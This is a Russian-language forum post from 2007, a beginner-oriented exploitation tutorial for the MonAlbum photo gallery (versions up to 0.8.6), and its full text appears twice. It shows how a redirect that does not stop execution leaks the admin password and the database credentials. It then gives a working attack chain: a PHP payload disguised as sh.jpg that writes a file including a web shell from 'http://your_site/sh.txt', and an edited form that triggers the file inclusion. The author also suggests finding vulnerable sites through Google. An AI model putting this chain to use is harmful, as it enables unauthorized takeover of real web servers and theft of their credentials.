Stefun
28.05.2007, 00:42
--------------[ Детские ошибки MonAlbum <= 0.8.6 ]----------
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
Все для начинающих ))).
-----/ Вступление /------
Данный php-скрипт представляет из себя Фото Галлерею с поддержкой базы данных MySql, у нас она не очень популярна )).
Итак, по багтреку SecurityLab понятно, что есть бага в файле admin/admin_configuration.php. Смотрим:
include("./secure.php");
$glangage = $_POST['glangage'];
if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde
include ("../lib/album.inc");
include_once("../lang/$glangage");
$mod = $_POST['mod'];
//дальше идет вывод настроек MonAlbum ...
Этот файл предназначен для вывода опций галереи и их корректного сохранения.
В файле secure.php ничего нет кроме:
session_start();
if (!isset($_SESSION['name']))
header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php");
Он всего лишь перенаправляет юзера, если тот не в сессии администратора.
Остальные инклуд файлы не предсталяют интереса, судя по их названиям(../conf/config.inc.php, ../lib/album.inc).
Строчка
include_once("../lang/$glangage");
не вызовет у нас проблем, даже если $_POST['glangage'] будет ссылаться на не существующий файл(можно считать, что это
локальный include-баг).
Вывод: можно просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к базе данных, потому как скрипт продолжает выполняться после перенаправления браузера.(хедер Location:)
-------/ Эксплуатация /-------
Практически это осуществляется путем коннекта телнетом или неткатом к бажному сайту и запроса о выводе файла admin.php/admin_configuration.php.
Чтобы залить шелл потребуется войти под админом, закачать файл sh.jpg примерно такого содержания
<?php
$f=fopen("../images/sh.php","w");
fputs($f,"<?php include(\"http://your_site/sh.txt\");?>");
fclose($f);
die("yeah!");
?>
где как ты сам догадался sh.txt твой любимый пхп шелл. После закачки будет куча предупреждений, но файл будет успешно сохранен в папке images.
Теперь настал черед инклуд багу, заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск,
удаляем из паги
<input type="hidden" name="mod">
и меняем <select name="glangage">, а точнее значение одного из <option> на название нашего файла "../images/sh.jpg".(незабудь изменить параметр action формы на корректное значение)
Теперь перезагружаем пагу, вибираем нужный нам язык )), и отправляем форму на сервер.
Видим надпись "yeah!", все получилось, шелл получен.))
------/ Заключение /--------
Конечно лучше тренироваться в использовании данной баги на локалхосте, но тебе никто не мешает сделать запрос в гугле на
бажный скрипт. Для счастливых владельцев этой галереи я бы порекомендовал пропатчить файл admin_configuration.php,
либо полностью отказаться от данного скрипта. Да и еще... самое главное! Статья написана в помощь
администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
используйте информацию из этой статьи в целях противоречащих УК.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
-----[ Copyright © 2007 Stefun ]-----
P.S.: Сплоит в наличии )))
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
Все для начинающих ))).
-----/ Вступление /------
Данный php-скрипт представляет из себя Фото Галлерею с поддержкой базы данных MySql, у нас она не очень популярна )).
Итак, по багтреку SecurityLab понятно, что есть бага в файле admin/admin_configuration.php. Смотрим:
include("./secure.php");
$glangage = $_POST['glangage'];
if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde
include ("../lib/album.inc");
include_once("../lang/$glangage");
$mod = $_POST['mod'];
//дальше идет вывод настроек MonAlbum ...
Этот файл предназначен для вывода опций галереи и их корректного сохранения.
В файле secure.php ничего нет кроме:
session_start();
if (!isset($_SESSION['name']))
header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php");
Он всего лишь перенаправляет юзера, если тот не в сессии администратора.
Остальные инклуд файлы не предсталяют интереса, судя по их названиям(../conf/config.inc.php, ../lib/album.inc).
Строчка
include_once("../lang/$glangage");
не вызовет у нас проблем, даже если $_POST['glangage'] будет ссылаться на не существующий файл(можно считать, что это
локальный include-баг).
Вывод: можно просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к базе данных, потому как скрипт продолжает выполняться после перенаправления браузера.(хедер Location:)
-------/ Эксплуатация /-------
Практически это осуществляется путем коннекта телнетом или неткатом к бажному сайту и запроса о выводе файла admin.php/admin_configuration.php.
Чтобы залить шелл потребуется войти под админом, закачать файл sh.jpg примерно такого содержания
<?php
$f=fopen("../images/sh.php","w");
fputs($f,"<?php include(\"http://your_site/sh.txt\");?>");
fclose($f);
die("yeah!");
?>
где как ты сам догадался sh.txt твой любимый пхп шелл. После закачки будет куча предупреждений, но файл будет успешно сохранен в папке images.
Теперь настал черед инклуд багу, заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск,
удаляем из паги
<input type="hidden" name="mod">
и меняем <select name="glangage">, а точнее значение одного из <option> на название нашего файла "../images/sh.jpg".(незабудь изменить параметр action формы на корректное значение)
Теперь перезагружаем пагу, вибираем нужный нам язык )), и отправляем форму на сервер.
Видим надпись "yeah!", все получилось, шелл получен.))
------/ Заключение /--------
Конечно лучше тренироваться в использовании данной баги на локалхосте, но тебе никто не мешает сделать запрос в гугле на
бажный скрипт. Для счастливых владельцев этой галереи я бы порекомендовал пропатчить файл admin_configuration.php,
либо полностью отказаться от данного скрипта. Да и еще... самое главное! Статья написана в помощь
администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
используйте информацию из этой статьи в целях противоречащих УК.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
-----[ Copyright © 2007 Stefun ]-----
P.S.: Сплоит в наличии )))